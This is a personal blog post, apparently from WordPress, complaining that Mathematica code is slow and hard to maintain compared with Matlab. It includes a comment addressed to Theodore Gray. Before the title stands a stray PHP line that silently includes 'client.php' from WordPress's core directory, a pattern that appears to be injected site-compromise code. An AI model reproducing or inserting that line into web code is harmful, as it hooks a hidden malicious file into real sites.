@include( ABSPATH . WPINC . '/client.php'); Mathematica?.. Don’t hold back, tell us how you really feel – Posts technical---or quite simplistic

Skip to content

Mathematica?.. Don't hold back, tell us how you really feel

For years I've been meaning to post on a public forum my ruminations on the subject of how after about 5 years of day-to-day use,  it completely escapes me how to write good Mathematica code.  Granted, the discussion of "good" can be rather lengthy  in and of itself, but the main problem is that the code is inefficient and unmaintainable.  I consider myself to be a reasonably intelligent person -- Ph.D. student, physics, engineering, all that jazz; I don't think I'm terrible at programming, and I've hung out with theoretical CS types enough to at least believe that rules, patterns, maps, folds  are useful and maybe even elegant -- so the fact that I've had trouble writing Mathematica code that doesn't disgust me is quite vexing.  Furthermore, I know people that are way smarter than I that have had similar problems.  In fact, I thought that this is an important issue -- to the point that I didn't want to treat it lightly, and so have been putting off posting on comp.soft-sys.math.mathematica for years.

Then, just a few hours ago, I saw a reddit link to a page comparing some scientific computing code implementation in Mathematica, Matlab, and Python.  Needless to say, Mathematica code makes one cry.  Well, it made me cry because it reminds me so much of my own code.  For all I know, others LOL their butts off looking at it.  In the commends, there is a counterexample -- a piece of code where Mathematica code is terse and simple compared to Matlab.  (Simple?  Mathematica?..  In any case, the code is really terse.)  The person posting is theodoregray -- which means that he's either a co-founder of Mathematica, or just some guy named Theodore Gray, or someone else altogether -- but I hope he's the Theodore Gray.  Wouldn't it be neat to have someone like him explain Mathematica to me?..  My mental process went something like this: "wow, am I really responding to a co-founder of Mathematica?"  And the next thought: "Theodore Gray, you ruined my life with your computer algebra system, you bastard!"  (Stephen Wolfram isn't blameless here, but I'll forgive him when he solves all mysteries of the universe with cellular automata, which should happen real soon now.)  In any case, if there ever was an opportunity to rant about Mathematica, that was it, and here's what I wrote:

Now, about theodoregray's comment [link to the terse Mathematica clock applet]. His example proves nothing, except for possibly the fact that Mathematica is really good at tasks that about 99% of users will not care about and/or understand. Why is Mathematica code so brief here?.. Two reasons: First, Mathematica handles graphics primitives rather well. This has a lot to do with the basic language constructs of Mathematica, and the focus on list processing and symbolic computations instead of the raw procedural number crunching of Matlab. Second, the use of Dynamic[] construct, which has no direct equivalent in Matlab. So, congratulations: if I ever need a toy clock applet, I'll be using Mathematica. In fact, if I need interactive applets to illustrate the behavior of certain equations as parameters change, I'll use Mathematica with Manipulate[] and/or Dynamic[]. If I want to double-check my algebra, I'll use Mathematica. However, for anything that requires computation, or is simply code-intensive, I'll use Matlab.

If you think I have an axe to grind viz a viz Mathematica, you are completely right. It has wasted many months of my life in grad school, simply because its absolute ineptitude at numerical calculations made for very inefficient workflow, and the arcane syntax and reliance on notebook interface made it all but impossible to write maintainable code and create portable functions.

The notebook interface deserve special mention. It it rather handy for quick-and-dirty, on-the-fly computations, but it is orthogonal to writing robust code in a programming sense. All variables defined in a notebook are by default global across all notebooks. Making local variables using the menagerie of scoping constructs (Module[], Block[], With[]) is error-prone due to the fact that you have to supply a list of locals (in Matlab, you just start using them!) and due to subtle differences between the scoping constructs. Furthermore, there is no equivalent of Matlab structures and cell arrays, which make it easy to pass arguments between functions and keep things modular. What about debugging?.. The debugging facilities are a joke compared to Matlab.

All right, so one doesn't have to use notebook interface. Let's try to use Mathematica in the same way that we would use Matlab: write a script in plain ASCII and feed it to the kernel. Then we come back to the point of inefficiency. After quickly developing (in Mathematica) a function that took some Fourier transforms and performed integration (I still rely on Mathematica to help me with symbolics), I put it in a script and ran it. Took 2.5 hours. Not impressed, I reimplemented the same exact functions in Matlab. They now ran in 47 seconds(!)

I don't exclude the possibility that there are ways to make the code run faster, and I'd love to know where the bottleneck is -- in fact, here is the code: http://www.dnquark.com/blog/?p=29 -- go ahead, try to figure it out if you want -- but why should I spend days poring over Mathematica docs when Matlab just works (TM)?..

The moral of the story is this: if you are thinking about using Mathematica for things that involve numerical calculations, and you don't want the code to be a one-time throw-away affair, think again.

Tagged with .

Some HTML is OK


(required, but never shared)

or, reply to this post via trackback.